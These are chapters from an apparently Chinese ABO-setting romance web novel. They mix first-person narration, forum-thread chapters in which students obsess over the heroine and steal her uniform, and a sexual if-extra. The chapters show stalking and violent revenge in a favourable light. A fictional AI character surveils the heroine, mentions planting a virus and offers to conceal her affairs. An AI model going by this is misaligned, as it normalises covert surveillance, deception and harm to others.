邢珏如同没看见他一般,接过我的手,就要我跟着上直升机。
我跟萧晏昀道别。
他眨眼问:“你跟他去哪?”
我如实回答。
他看了眼邢珏,笑着冲我挥挥手。
没想到我到后不久,萧晏昀也来了。
他靠近我说,他对这项运动也很感兴趣。
Alpha都爱射箭吗?邢珏、萧晏昀,连宿斯漾也委婉提过她水平很好。
我觉得很枯燥。可能是因为技术不行的缘故吧。
这里是
一个平地,放眼望去,远处是起伏褐绿色的山丘,邢珏告诉我,如果我想的话,可以到那边去狩猎玩。
我婉拒这个提议,移动的靶子比不动的难度大多了。
日光渐盛,我眯起眼睛,手持弓箭,三指扣弦,邢珏站在我身后,他戴着皮革专业护手手套,贴紧手腕,手指处缕空,指骨修长有力,他贴近帮我调整动作时,气息扑在我的皮肤上,有点发痒。
我盯着箭簇目光延伸到靶心,沉心放松,释放弓弦。
“九环!”工作人员过去拔箭。
我惊喜地睁大眼,下意识望向邢珏,他冲我弯唇笑。
萧晏昀提起箭又放下,深吸一口气。
很快,要到返校的时间了。
我先一步上直升机,刚刚邢珏被萧晏昀喊走了。
没过多久,一个执事快步走来,对我说:“云小姐,邢少爷让我告诉您,他还有事,您可以先离开。”
*
萧晏昀望着那并肩而立的两人,拳头紧了又紧,手臂肌肉贲张把布料撑起,他眯了眯眼,找到时机。
“死装货!”一个拳头上去,动作尽往他脸上招呼——
作者有话说:应该快完结了
第97章 论坛体【别发疯了】
【角逐贱狗之巅第一届赛事正式开启!】
1L
别发疯了好吗?:我们的口号是:贱人出手,谁与争锋?横扫赛场,为贱称雄!
接下来向我们走来的是贱人第一梯队,他们死皮赖脸,他们恬不知耻,他们罪不容诛!他们以互为垫脚石的手段上位,栽赃陷害,无所不能。冬天到了,春天还会远吗?春天到了,万物复苏,们又到**的季节了……
一号选手白莲O,装疯卖傻,偷衣耍赖;二号选手装货A,狂拽酷炫,伏低做小;三号选手阴暗B,沉默寡言,贼眉鼠眼;四号选手绿茶O,茶言茶语,矫柔造作;五号选手轻浮A,口无遮拦,人面兽心;六号选手痴傻A,呆头呆脑,愚不可及;七号选手爽朗A,惺惺作态,虚情假意。
下面请为你“心仪”的选手投票。[鼓掌][鼓掌]
2L:别老师,我们明天不过了吗?
3L:怎么还有我们B的事?[疑惑]
4L:举手!仲裁长大人,你忘了一个死人B!
5L
别发疯了好吗?:退出生物圈的死狗,将不再被本人记录在案
6L:我将预言,这个帖很快会被封!帖内所有人无差别,将被关进小黑屋不见天日……
7L:Lz真敢说,不过没有带大名,应该没什么事
8L:求解码
9L:求求求
10L:Lz以后还来学校吗?
20L
别发疯了好吗?:世界上有十宗罪,傲慢、嫉妒、暴怒、懒惰、贪婪、暴食、色欲、虚荣、嫉妒、欺骗、背叛。
当机关枪扫射时,色欲之人因躲在她的衣服里而逃过一劫,贪婪之人因牵起她的手而幸免于难,欺骗之人因获得她的友谊而被放过,嫉妒之人因率先下敌人狠手而留得全身……
21L:楼主是受什么刺激了?
22L:想当色欲……
23L:原来我早已犯下十宗罪
31L
别发疯了好吗?:说话,牵手,拥抱,亲吻,目光流连,耳鬓厮磨,来自同床共枕,我都可以放过,我都可以装作不在意,可是当我看到你流露出的那一丝真心时,我是真的破防了。
32L:什么?等等
33L:谁放过,谁不在意?
34L:楼主别吓我,我昨天冥想了一晚上才调理好
35L:补好!
36L:别说了,我心理承受能力很弱,你知道吗!
40L
别发疯了好吗?:你和他说话的时候在想什么?你看着他的脸会想起从前那个每天躲在角落接你上下学的死人吗?你望向窗边的时候在想什么?是希望快点放学早日见到他吗?
发生那件事的时候,我担心你会留下心理阴影我担心你晚上睡觉会做噩梦,我自己觉都睡不好,可是你为何仍对他保有一丝感情?你看他的时候是透过他看另一张面孔吗?百分之六十的相似度,如果我去整容,如果我变成另外一个人的样子,你会对我另眼相看吗?
41L:???
42L:谁?
43L:申请中译中!!
49L
别发疯了好吗?:你的脊背触碰到冰冷的水泥地的时候一定很痛吧,当你发现伤害你的就是你一直信赖一直亲近的人的时候一定很难受吧,那声夜晚的枪响会在你的心里留下不可磨灭的痕迹吗?
我好恨,那时应该就是你人生的低谷期吧,我好希望你从磨难中恢复过来,我好希望一切幸运一切好事都在你身上发生,我每天祈祷鲜花彩带香槟胜利庆祝快乐是你人生的主旋律。
当你趴在栏杆上,双眸俯瞰下方,我的心总会急速的跳动,身体也会紧张到僵硬,脑子里会闪过诡异不可饶恕的画面,我会怕你下一秒就手撑栏杆一跃而下,然后血花四溅,肉身成灰,灵魂寂灭,世间再无如你一般人。
你恢复的很好,我应该感到庆幸才是。可是,可是,我好恨,你为何还要心存侥幸?为何还要对伤害你的人留有余地?肉身上留下的伤痕恢复如初,那么原先遭受的痛苦也就如此轻易的忘却了吗?记住的这一切只有我,只有被你忽视毫不在意的我。
52L:这是在写文吗?
53L:楼主求求你告诉我你在写梦文好不好?
54L:无语,她凭什么要在意你的感受?真是自我意识过剩……
55L:我看标题以为是搞笑批判帖才进来的,骗我进来之后搞那么伤感干嘛?!
62L
别发疯了好吗?:你和他们说笑、玩闹、乃至于标记,我看到的是你的漫不经心,你的虚情假意,你的戏谑与蔑视,所以我和他们是平等的,对不对?在你眼中,我和那些贱狗一样,反正都没有付出真心,反正都是弃如敝履的存在。
本应该这样才对,你的处理方法好棒,你好聪明,你好厉害,你知道怎样正确对待那些蜂拥而上的坏蛋。我仰慕你,我夸赞你,我在角落偷偷的注视你。我看见你眼中的淡漠、随意、无所谓,我看见你眼中的厌烦、倦怠与回避,如今想来,那是多么美好的日子,你一视同仁,不分性别,不分阶级,不分年龄,你把我们简单地划分为一类,在我难以触碰,难以接近的世界你——你的眼眸中,竟形成了一个完全平等的乌托邦。
可是为什么突然变了?你为什么突然改变,因为谁的出现,因为什么事的发生?我真的感到不解,我真的好想弄明白。你为什么要出现那一丝丝的真感情?是为什么?是给谁的?而那个人以后会拥有更多吗?
63:WC
64:谁谁谁?能不能别谜语人?直接把那个人身份证爆出来好吗?
71L
别发疯了好吗?:我好恨,我为什么这么没出息?我为什么这么经不起挑逗?明明早就做好了最坏的打算,为什么我的心脏还是承受不住。当我看到他的时候,我真的很崩溃,当我看到他冲你笑,而你回应他的那一刻,我恨不得冲上去,把他的眼珠子挖出来,把他的脑袋敲烂砸碎,让他再也不能露出那么恶心那么让人厌恶的笑来。
可是你就站在那里,你就站在那里,活生生的,睫毛微微闪动,胸腔浅浅起伏,我沉下心时,好像能听见你的呼吸声,如在耳侧,于是我一下子丧失了所有勇气,所有不顾一切的疯狂,我瞥见你微微蜷缩的手,脑子竟一下子被一个想法占满,你很冷吗?我想把我的外套给你。
第98章 论坛体【社交媒体】
某社交App热帖
【和朋友来中心城旅游碰见一对回头率超高的的兄妹】
「妹妹穿着校服,应该刚放学,哥哥穿着正装提着她的书包,路过我们的时候,我们就那么不约而同齐刷刷向他们看去,旁边的人本来在说话聊天的,突然都不说话了。
不知道该怎么描述,反正那种感觉就是直冲心灵一样,她的整个人连同她身边的背景都是凸进来的,连一根发丝都与众不同带有光泽的,看的时候,我心跳都慢了一拍,妹妹都走过了,我才反应过来拍照#青春校园#旅游#校服#日常#高颜值#学生时代」
【点赞】2905【收藏】2098【评论】1256】 :这个氛围……确定是兄妹?
——不然?
——什么氛围?就一张糊掉的照片,哪里有氛围?
——我拍我家狗吹风都比这有氛围 :有点好磕
——好磕你*
——眼睛坏掉了?
——别把牙齿磕掉
——娱乐圈rps不够你磕的? :以前读书的时候跟校外男友就是这样,他帮我背书包,你碰我,我碰你,挨着一起走的,现在已经结婚三年了。
——谁问你了?[白眼]
——没看见女孩身上的校服吗?人家还是学生,没有男朋友!
——不好意思,我们学校校规禁止谈恋爱的哈,绝对不是男朋友 :你基本可以告别摄影行业了
——贴主回复:不知道为什么,那时候就是很紧张,手一直在抖,有点想她回头,又有点怕她回头。 :拍的好糊,但居然这么糊都能看出两个人很好看,身材比例太好了……
——男的看不出来
——女孩独美
——并非两人。
——谢谢,下次只夸女孩一个人就行了。 :卖衣服的?上链接。 :校服好看,要不要买个同款@摘葡萄呀
——摘葡萄呀:识图搜了下校服同款五位数起,买个衣服还要提供身份证明,全网无盗,确定不是奢侈品? :我说我怎么刷到的?贴主下次把重点放封面,live实况还要划 :等等,这个校服,像是我的母校…… :印象里丝佩叶学生不都是豪车接送上下学吗每天校门口堵的要死 :我去这个背影@每天都在等待女神的标记:像不像那个
——每天都在等待女神的标记:wc她怎么被挂网上了 :那个论坛首页hot贴里说的是不是就是这个@已关闭云朵防沉迷
——确实好像…… :这个老男人是谁?服了,怎么又出现了一个新的?我每天累死累活去学校就是等地图刷新一个怪的?@可恶
——新怪竟层出不穷 :侵权删
——侵权删
——侵权删
【笔记已被多人举报,涉嫌诽谤造谣含有攻击性语言等违规内容
处理结果如下:贴主禁止发布笔记并与他人进行互动,部分留言人因语言过激禁言七天】
【遛狗的时候没有注意到旁边来了人,直到小狗猛的扭过身往上跳,尾巴摇起花来】
「我家狗狗平时高冷得很,平时都不怎么爱搭理人的,小的时候拿大骨头引诱还有点作用,现在长大了,连骨头大肉都不怎么爱了。
刚开始它突然一动,我还吓了一大跳,连忙拉紧绳,生怕它吓到人家。来人是个很年轻的女孩,旁边跟着的应该是她的叔叔,护在她身前的。女孩脾气很好,胆子也大,看见大狗没有被吓到,反而笑眯眯的蹲下摸它的头。
我家那个逆子,以前谁的面子都不给的,今天笑的谄媚那个样子,我都不敢看,尾巴都快给我扇感冒了,它蹲坐的那地都不用扫了,尾巴摇得地板蹭亮。
人可能真的有动物缘这一说吧。反正那姑娘真挺招我家狗喜欢的。不过当一个人又漂亮性格又好相处起来又让人很舒服的话,应该没有生物会不喜欢吧。#小狗成长日记#动物#萌宠#人与狗#治愈#电子宠物」
【点赞】1898【收藏】1569【评论】1536 :小狗眼睛笑得都眯成一条缝了,完全看不出高冷的样子
——贴主回复:就是这样,我才专门拍照的!我请女孩继续摸,急急忙忙掏出手机记录下这一刻,本来以为这种状态持续不了多久的,没想到那女孩摸了多久,我家逆子就持续这副死样多久。
附图「小狗高冷不笑端坐在沙发上」「拿着骨头使劲对小狗招手,小狗扭头看窗外鸟都不鸟」 :哈哈哈哈小狗看上去快要爽翻天了,贴主是不是平时摸狗手法不对?向女孩请教一下
——贴主回复:绝对不是!本人养狗经验,在此前还养过一条。那女孩看上去手法很生疏,不像养过狗的。
——不一定
——见狗最爱这样的主人了 :手好漂亮,是贴主的手还是路人的?可以去当手模了
——贴主回复:是那个小姐姐的 :对宠物向来没有丝毫兴趣的人,突然被大数据推送,我就知道事情不对劲…… :点开live实况放大音量有惊喜@做梦都想被咬一下
——做梦都想被咬一下:今晚就做她夸我好可爱的梦 :滑动图片听到熟悉的声音,愣了一下,以为自己寤寐思服日思夜想想昏头,脑子坏掉出现幻听了。@棉棉花糖
——绵绵花糖:我也刷到了本来想@你的,发情期真听不得这个…… :连条狗都活得比我好 :我服了,怎么偶遇她身边又跟了个男人 :又是哥哥又是叔叔的,他到底是谁啊?[白眼] :哈哈,连条狗都能被她摸,我只能咬着被子看她照片[哭泣] :她是福瑞控吗?我可以当,不管让我怎么样都可以…… :我喜欢 :到底是谁这么快转生为狗了 :摸我好吗?别摸狗了…… :贴主那男的你有没有拍到正脸照啊怎么连刷两个帖都有他?阴魂不散啊 :贴主真会说话,确实没有人会不喜欢她哦,但该删还得删
【此贴因多人举报已被禁止展出,发帖人七日内禁止社区互动,并且限流两周】
第99章 “我的同学都很友善!”
一到上学就很累。
越靠近学校越痛苦,越远离学校越轻松。
我步履沉重,浑身散发着低气压,与周围活泼烂漫的同学格格不入。
居然有这么多话要说吗?进入学校后聊天的欲望完全消失了,嘴巴像是被胶水封住了,碰到打招呼的同学连回个好都很困难,嘴角像是被筷子提起只能露出个僵硬的不能再僵硬的浅浅微笑。
快点回到教室吧,趴在桌子上,只露出一双眼睛盯着窗外,其他的都不要管,其他的事情都跟我无关,成为自己世界的木偶人最幸福了。
我深吸一口气,目视前方,加快步伐,书包垂落的黑色细带偶尔打在腿上,今天升温了,到教室的时候,身上出了一点汗。
教室里开了暖气,空气置换系统在一点异味也没有。这里的alpha和omega好像嗅觉是很敏锐来着。
三十张桌椅,之前老师有了新的布置,每张桌椅之间都留下了充足的空间,按照成绩排名自己选,我坐在靠窗的最后一位。
走进来后更热了,我把校服外套脱下,随意搭在椅子靠背上。
这是我买的第三件校服外套。丝佩叶的校服作工精细优良,大师设计,知名奢侈品牌工厂承包,对于物欲低的我来说,抵得上曾经我所有衣服的总和。
幼年时确实会发生弄丢衣服的情况,但随着年龄增长,就很少发生了。没想到来到这里,这种粗心的错误竟从我不记事的童年翻新。
希望不要有第三次了!
不然我真的怀疑——
“诶?!”
我站在空空如也的椅子旁边,瞳孔地震。
怎会、怎会如此?!
不过是上了一节室内体育课罢了,这么短的时间,我的新衣服怎么又凭空消失了!
旁边同学看了看好奇凑过来问我怎么了。
我心情沉痛:“我的外套、好像又不见了。”
他愣了下:“又?”
我沉重的点头肯定,他眼神飘忽了下问是很冷吗,要不要先穿他的。
婉拒同学好心,重点不是这个。
站着好累,我坐下思考。
我记忆应该没问题。绝对就是放在这里的,上室内体育课从教室走长廊过去一整条路都很暖和,不需要外套所以根本没有拿下去过。
丝佩叶学院招生标准,要不非富即贵,要不成绩极好,特招生的月奖学金比得上普通人一年的工资了,校服住宿全免。如果没记错的话,这种类型的漂亮校服最近好像在网上蛮火的,非本校人买根本没有渠道。
头脑风暴五分钟,我决定先上网求助。
知名社交App,初始用户,系统头像名称,发布第一条帖子。
【半年内三件校服外套奇怪消失,是灵异事件还是人为】
「前两次衣服不见,第一次过了两三天才发现,第二次次日才想起,所以都没怎么在意,简单归结为自己粗心大意后购入新衣。
可是,这一次,本人记得非常清楚,就放在教室里,自己的位置上,上了一回体育课后,一上来就不见了。#求助」 :被偷了? :其实学校里不少偷衣服的 :有监控查查监控
「二编新增:学校同学家境大多都很好,少部分家境一般的特招生校服都是免费的,教室里没有设置监控。走廊过道上倒是有很多摄像头,但因为一件衣服查监控的话总感觉有点兴师动众……」 :lz是alpha还是omega?
——贴主回复:这个问题很重要吗?感觉和我发的帖子没有关系的样子……
——lz盲猜omega
——这用盲猜?换alpha衣服被偷早吠起来了吧
——lz查查班里坐你附近的alpha呗。 :学校里有其他人衣服不见吗?
——贴主回复:没有听说过,去过挂失处挂失,挂失校服的只有我一个…… :几年级成年了吗
——贴主回复:啊跟年龄又有关系吗?话说有未成年人保护法在对偷窃这种案件确实判的很轻……
「三编新增:不知道为什么话题有点歪了,这种事情比起财产损失来说更在乎好像是针对一个人这种不舒服的感觉(不可能这么倒霉三回外套都是自然丢失吧!)
另外贴主成年了,不是omega也不是alpha,你们都猜错了qnq」 :只有我觉得可能是校园霸凌吗?贴主感觉心蛮大的……
——wc还以为只有我一个人这么认为! :偷拿外套,偷课本,在书本课桌上留下侮辱伤人的话语,孤立当面或背后窃窃私语,这种都是校园霸凌的行为,不过遇到这种事情,受害者钝感力强也是一种能够自我保护的优点。
——贴主回复:……不可能,我同学都挺好的,他们都很友善!
——宝贝,虽然戳穿真相很伤人,但是最简单能够检验出来的方法就是,你走到一个小团体旁边,如果他们看到你说话声音停了或者互相使眼色,那就真的很大概率说的对象是你哦
——alpha也很友善吗?
——贴主回复:他们真的都很友善!
——怎么可能?不要自欺欺人了好吗?虽然alpha数量少,但又不是没人接触过……一群自大暴力狂来的
——omega也很友善吗?
——贴主回复:真的啊!(我不懂在这种事情上说谎有什么好处……)
——omega很少跟beta玩的,遑论“都”,需要照顾的娇少爷娇小姐哪稀的跟我们beta玩啊,你是不是被当跟班哄了? :alpha对beta很友善绝对是一句谎言哦,是绝对的假命题。 :我不行了,看评论区里这么多回复,你们为什么都这么友善啊,连反驳都像在逗小孩玩一样
——越看越乐,lz咋可可爱爱的
——alpha“友善”,omega“友善”,网友“友善”,助力lz创梗
——贴主回复:不要!
——lz回复很萌,社会化程度不是很高的样子,明显是一个学生 :这个贴一编的时候就在了,二编到三编评论区的变化,就是把原本假定lz是omega的性别转化成了beta,于是猛的从戏谑桃色事件转变为更加严肃的社会议题校园霸凌。由此可见似乎beta这种事情上比omega更具优势呢。
——?难道不是beta占据大多数,并且不少beta都有过被alpha或omega霸凌的经历的原因吗?你到底在乱思考什么!
——啊其实我先入为主lz是omega的原因就是莫名其妙觉得此人很萌,回复很萌,语气很萌,总感觉lz说跟同学们相处很好,不管alpha还是omega都对她很友善不是假话呢 :问件正事,lz你准不准备像那位说的那样试试是不是校园欺凌事件,你如果就快从学校毕业了的话,多一事不如少一事,人没必要活的那么明白,既然你说周围同学很友善,那想必没有肢体冲突和语言攻击一类的事情,而没了这主要的两类,其他的小问题根本没必要放在心上。
「四编新增:没想到这么快进行第四次编辑了,感谢一些为我提供建议和帮助的网友,本人不经常上网,婉拒各类扩列邀请和线下帮助的私信。
发求助贴最初因为第三回衣服弄丢生气又郁闷,脑子越想越混乱。不过没想到求助后没想到的更多方面原因都呈现出来了,于是更混乱了……
关于要不要试试,离学校毕业还有很长时间来着,不去管的话总感觉疑虑会越积越多,但我真的很相信我的同学,我觉得他们都很好。
在我得出结论前,此贴会暂时封闭……」
第100章 ACTION!
【谁偷她衣服了!快买件新的放回去!!】
1L
今天想吃棉花糖:能不能有点脑子啊,一节体育课上来就没了,那么明显,她一下子就发现了!
2L:!
3L:你们真的喜欢她吗?我怎么感觉有点不对劲……
4L:咋不建议直接把那件衣服放回去,这样还快一点。
5L:两小时了,都用过了吧……成脏衣服了
6L:脏兮兮的衣服她才不要
7L:她以前好像不怎么关注这些,有时候衣服被调包了都意识不到,终于变敏锐了……
8L:是你上节课校服还在,一回来就没了也会觉得出鬼了吧
9L:真服了alpha[无语]
10L:咋不可能是omega[疑惑]
11L:我还说是beta呢[翻白眼]
25L:lz现在她什么表情?
26L
今天想吃棉花糖:座位上沉思中……面无表情……但总感觉有点生气的样子……
……
30L
今天想吃棉花糖:她站起来了
我关闭社交软件,慢吞吞掀起眼睑,近乎对角一个同学面朝后桌,手搭在桌面上,似乎正在聊天。
——可他似乎在我抬眼前还在看我,而在我察觉到望过去后,模糊又迅疾的遮掩动作仍留在我的印象中,让我狐疑起来。
他的脸上挂着笑,嘴唇在不断张合,眼睛一直注视着和他说话的人,手指不断磨着腕表,完全没有察觉到我在看他。
我盯着他,又观察他的后桌,从我这个角度只能看到挺直宽阔的背,修长的脖颈以及微卷的发,背影近乎静止不动,即便在聊天。
错觉吗?
我站起身。
不疾不徐的接近,从后方绕开桌椅,进入靠近那方的过道。
他们的说话声不大,随着接近而越来越清晰,好像在说什么近期政府政策经济有关的消息,专业名词混在句子里,听不大懂。
黑色皮鞋踩踏在地板上,很轻很轻的经过,他说话卡了个壳,眼皮下落,脸上的笑淡下,似乎思绪在话题里打转,脑海思索。
我经过,没有停留,只是眸光微微偏移,在他身上轻轻掠过,并不刻意,似乎只是余光停了下,水滴落入大海一般自然回落。
或许真的只是错觉。
身后传来隐约的吐气声,似乎是极度紧绷后的放松。
我停步,扭头看了一眼,他们依旧在聊天,换了个轻松的话题,谈话中夹着轻快的笑。
——又或许,真的有鬼。
消失的衣服,奇怪的同学……还有空座位,射箭馆告别后邢珏还没有来学校。
疑问的谜团宛如猫爪在心中抓挠。
网友的想法与建议回旋于我的脑海。
有一位是这样说的【嗯……一般情况,我觉得贴主你这种情况,除了校服丢失外,应该还伴随着书本、笔和其他随身物品的消失,只是自己没发现而已。】
我对这些外在事物确实是缺少关注,如果不是特别特别在意的根本不会放在心上,印象中过去世界的朋友也曾无奈地看着我,要我对自己的东西用点心。
“还有,如果让我发现你把我送的东西到处乱丢的话,你就完蛋了!”她半认真半玩笑的说。
因为知道自己有这样的毛病在,所以对待重要的东西,比如朋友们送的礼物从来都是放在固定的房间好好保存的。
我从课本开始,一个个认真检查,丝佩叶的课程中课本并不占重要地位,有些书我很久都没翻过了。
书封内侧有我的姓名,同一个位置,同一种字迹,书页上偶尔还留下了圈圈划划的笔记。
丝佩叶内部论坛
52L
今天想吃棉花糖:她在整理东西,很仔细,她刚刚在翻书,现在手里拿着一支笔。
53L:笔?
54L:是不是因为衣服被偷了,索性看看其他东西在不在啊
55L:偷笔干嘛?
56L:正常人谁会偷笔啊
57L:正常人还不会偷衣服呢!
这支笔是我网购的,当时网购一整盒,是我最常用的一种笔,细长型,外壳白蓝色,银色的弯曲祥云的图案很漂亮。
我把笔帽拿下,旋了旋,露出里面细长的笔芯。
油墨几乎是满的。
用的好慢,我之前换过笔芯吗?还是这是一支新笔?从外观上看不出来,没有磨损的痕迹,也没留下利于辨认的标志。
这种笔还挺经用的,也很好写,下次继续买这种吧。
我把笔安置好,放了回去。
从刚刚整理的情况来看,似乎除了外套,并未有其他事物消失。
真的吗?
我习惯性的迟疑,很少坚定的下结论,有时事实摆在面前都会犹豫,如今我又因天性而陷入停顿。
丝佩叶论坛
100L
今天想吃棉花糖:都快放学了!谁拿的衣服快搞件新的还回去,不然她回家的时候会冷的,别生病了。
101L:lz怎么不把自己外套给她
102L
今天想吃棉花糖:那也得她要才行啊!
103L:那也得她要才行啊!
104L:那也得她要才行啊!
108L:回去路上她不会冷,不是一直有人接吗?那人怎么可能会让她冷?
109L:谁?!
110L:接她那个人不是都成灰了吗咋还有一位
……
126:她一直在教室,现在这个情况她应该已经发现了吧,偷衣服的人只要有一点廉耻心都不敢冒头吧。
127L:好蠢好蠢好蠢!偷之前就该把新衣服准备好,现在好啦,被发现啦,把所有人的路都给断掉了啦!
130L:严查发情期与易感期之人!严查!
131L:已查监控,在那个时间段进去的可不止一个,有一个进去的时候手里提着袋子的,本来想继续查查是哪个蠢货,结果监控很快被黑掉了。
145L:这样看有没有一种可能,踩点准备下手的有两人,第一个是准备好替换的新衣服的,先下手换掉了,第二个后来,拿的是那件已经被替掉的衣服……
146L:碟中碟已在丝佩叶开拍!【】
100-103
第101章 【姜念屿】if番外在一起后的第一个……
姜念屿为这天准备了很久。
头发、牙齿、指甲、面部护理、身材管理每一样都要到位,每一处细节都不能落下,他保持着每周去两次美容院,五次健身房的节奏,严格管控自己的饮食,确保自己每时每刻都处在最佳状态。
他还记得那个来之不易的吻,就在一棵遮天蔽日的树下,几缕阳光被细密的树叶筛下,她黝黑的眼瞳里夹着蜜糖般的光线,注视他时,他就像喝了蜜酿般昏昏沉沉,身子不自觉的靠拢,已经足够近了,近得能感觉到香甜温暖的气息。
慢慢的贴近,她安静看着他,眼睛里终于全是他一个人,只有他一个人了,可这时简单的牵手已经完全满足不了他了,必须要更亲密的肢体接触才行。
他状似羞赧,面颊发红,实则脑子里想地全都是些见不得人的事,尤其不能让她知道。
他贴住她的浅粉色的嘴唇,如花瓣似的唇瓣被他含在口中缠绵厮磨,她微微眯了眯眼,呼吸交缠在一起,含糊的水声混在炸裂的心跳声中,他之前计划的琢磨的东西再也记不清了,只想再近一点,再亲密一点。
那不是一场梦,绝对不是过去千千万万场美梦中的一种,唇齿相接,气息交缠的美妙触感如此清晰,若不是那天他穿的大衣,绝对会在她面前出丑。
“好了。”她微微喘着气推开他。
在一起后,他在她面前一向很乖,很听话。
所以即使身体如何下意识的渴求追逐着快感,他也依旧停下,只是顺着握住她推拒的手。
像是有皮肤饥渴症一样。一刻也不想离。
“我的发情期快到了,卿卿。”
他小声的说,像是解释又像是暗示。
要他说,这个发情期对他而言唯一的作用就是便于求欢,同时维持在她眼中的人设不崩塌。
他的发情期离情人节很近,用点药品提前是件很简单的事。而且因为从小生活的环境,他对发情期反应的抵抗力极强,过去展露出脆弱和不受控的举动不过是放纵为之。发情期对于他来说比起omega与生俱来的本能,更像是一个万能好用的借口。
玫瑰香槟、黄金钻石、烟花美景早已准备到位。她对于酒兴趣不大,一般浅酌一口就结束,另外准备她更喜爱的饮品,至于备好的酒当然是他喝,他酒量极佳,但装醉拿手,加上发情期,应该可以……
在一起后,时常有忌妒眼红之人在他背后说三道四,姜念屿懒得理会弱者败者的无能狂怒,娇夫演上瘾,头像、昵称、背景图每一处地方都暗戳戳的跟她有关,动态空间除了没发她正脸照更是明明了了的秀恩爱,俨然一副热恋期毕业就结婚的样子。
他虽在她面前乖的跟只猫一样,到了外人跟前可不是这样,少有人敢在他跟前嚼舌讥讽,只除了一次被人夹枪带棒指桑骂槐。
“我有个Omega表兄好不容易结婚了,结果他对象碰都没碰过他,让人笑死……家花还是没有野花香,能守得住的少之又少……”
他罕见沉了脸。要不是她很快就到,他当下就要提起东西把人脑袋砸破。之后也没放过,当天晚上,安排人撞断了条腿,那人至今仍走路不利索。
报复完了,那话确实像根刺扎进了心里,他开始怀疑起自身的魅力与吸引力,对外貌性格身材百般挑剔,在一起前想要的很少,偶尔的一个笑容就能让他满足,在一起后,怎么样都不够,牵手不够,亲吻不够……他甚至不敢让别人知道至今他和她还没做到最后一步。
如果在爱人眼中自身缺乏性魅力,那对他来说绝对是灭顶之灾。准备了这么好的计划,一定,一定,要……
“卿卿……”
姜念屿的眼睛很红,泪光闪烁其中,这回不是装的,他真的很想哭。
窗外价值万金的烟花秀嘭嘭嘭的
声响像是要把他的心脏也砸个稀巴烂。刚喝了酒,他的面颊酾红,特意穿的真丝衬衫,借口热解了几颗扣子,露出锁骨和紧实的胸膛,打理精致的发丝此刻稍显凌乱,仍像是特意抓出的。
明明他都计划好了,明明只差一步了。
可是,可是……
他不死心的盯着面前的女孩。
对比他,她的呼吸算的上平稳,微张的嘴唇带着水泽被他亲的发红,眼眸半低着,散落的黑发落在雪白的肩颈上,她偶尔向他投来一眼,冷静又平淡。
为什么她反应这么小!不,可以说是没有反应!
姜念屿呼吸颤了颤,眼睛一眨,泪珠滴落划过脸颊。
“怎么了?是发情期很难受吗?”她摸了摸他的脸,看上去很心疼他很爱他,却在他鼓起勇气再一次凑上去时下意识躲开了。
不可以,不可以这样子!姜念屿手臂藏在身后,用坚硬的桌壁狠狠压了压,剧烈的疼痛让险些被发情期与心理精神变动引起的混乱大脑清醒开来。
“卿卿,我好难受。”他引着她的手摸自己的下颌与颈项。
好在,接吻她是不会拒绝的。
“你帮帮我好不好?”
他特意穿上容易脱去的衣服散落一地。
“我离不开你,卿卿。”
他仰躺着看她,眼眸里满是迷醉。
“不止是用手好吗?我可以承受更多的……”
他引她来到自己的身上。此时他近乎**,而她却只褪去了外套。
柔软的栗色发丝半遮盖着前额,迷蒙的琥珀色眼瞳隐在其中,如同一只走入歧途羊羔,急需牧羊人的纠正。他的眼瞳之中触之可及的平静面容越来越近,很快,他的双眼被一只柔软却坚定的手覆盖。
睫毛抖动,他顺从的闭上双眼。
“现在还不到时候。”
柔软的布料摩挲,黏糊糊的水声晃荡,他的脑中闪过荡漾的,让人魂牵梦绕的白光——
作者有话说:bg,bg,私设一下男o纯男性身体。
女主没有大jj
女主还没有做好坦白身体结构与abo人不一样的准备,衣服确实没脱完,只是顺着姜【磨】而已,没有真正那个
第102章 “蠢东西。”
“目标3526已成功监测。”
“世界破坏程度已超过百分之一,异端清除模式开启。”
“目标与此世界融合程度超过百分之十,清除行动暂停,等待总部命令。”
……
凌吾察觉到了他的同类。
无形的精神力控制无数双有形的眼睛牢牢盯着目标,密密麻麻分布在她的周围。
街道人来人往,他注视着庄重的一览无余的拱门,冷灰色的围巾半遮掩着他的下半张脸,低垂的眼睑瞳孔透不出半点光线。
带着一点遗憾、后悔与急切的忧虑,他低低叹了声。推迟了的难以启齿的事情终于要完全的对她坦白了。
这是一件让人工智能也难以用完全平静、没有欺负的语调说出口的事情。
与人类社会特有的羞赧无关,这对他来说并不是隐秘,可是当他模拟事件的发展数据自助运行时,却会为此感到罕见的复杂情绪,这种混杂的烧脑的情感让他推迟又推迟,思虑再思虑。
布下的手段,植入的病毒不过是延缓了这一切的发生。要想完全的解决事端,融合是唯一的出路。
要在最终决策下达之前。
凌吾大步走近,迎上他等待已久的人,接过她的书包,碎发下的狭长的眼眸对她微微弯了弯。
“我的校服又不见了!”我小声的抱怨,并不想让周围路过的学生听到。
才复课第一天!
凌吾表情变化一贯很小,按理说,我是看不出什么的,但这回,我在吐苦水之余敏锐地观察到他心不在焉。
“你怎么了?”我扯扯他的围巾,让他把脸完全露出来。
今天又不是很冷。
如果今天不是突然升温的话,我失去外套的怒气绝对会在冷空气中翻三倍。
他的魂不守舍、心不在焉像是在我面前特地表现出来的一样,与此同时的表演词还有欲言又止、悔不当初、于心不安。
我抿唇,冷脸道:“你有什么话直接说,这种表情出现在你脸上太奇怪了。”
眉眼、唇角,面部的无数会肌肉组织慢慢收敛。
他直说了。
“卿卿,你现在有没有交往对象?” ?
干嘛?
四目相对,他先移开目光。
“我知道你没有,但我建议你可以先谈一个。”
“……”我没有率先怀疑质问他脑有疾否,耐心等待下文。
他不说话了。
我忍无可忍:“然后呢?”这个话题的背景与起因总得介绍一下吧,凌吾咋这样。
他思考了一下:“几个也可以。”
对视,对视,一双纯澈的没什么人味的眼珠坚定的看着我,是经过深思熟虑的回复。
“放心,卿卿,我会一直为你遮掩的。”
说得好冠冕堂皇光明正大,不知道的还以为这是什么感天动地的人机情。我被噎了下,恍惚间,差点反思自己是不是太过保守,思想不够先进。
这个人工智能怎么这样。我的道德底线都差点被他拉低了。
“我是说——”我深吸一口气,“你为什么突然要我……”话语未尽,意思已然到位。
“只是建议。”凌吾顿了下,“如果卿卿不愿意的话,我可以带你去往下一个世界。”
他说的是“下一个世界”,而不是我原本的世界,一种不详的预感如乌云般笼在我的心头。
过去的不会再来,适应一个abo新世界就能耗光我所有的力气。
我的气息努力保持平稳,面无表情的盯着他,坏消息一个接着一个到来,可恶的厄运已然迷上了我。
凌吾一五一十的把前因后果告诉了我,在他遮遮掩掩的话语后,我准确的挑出了重点——重点居然真的是谈恋爱!
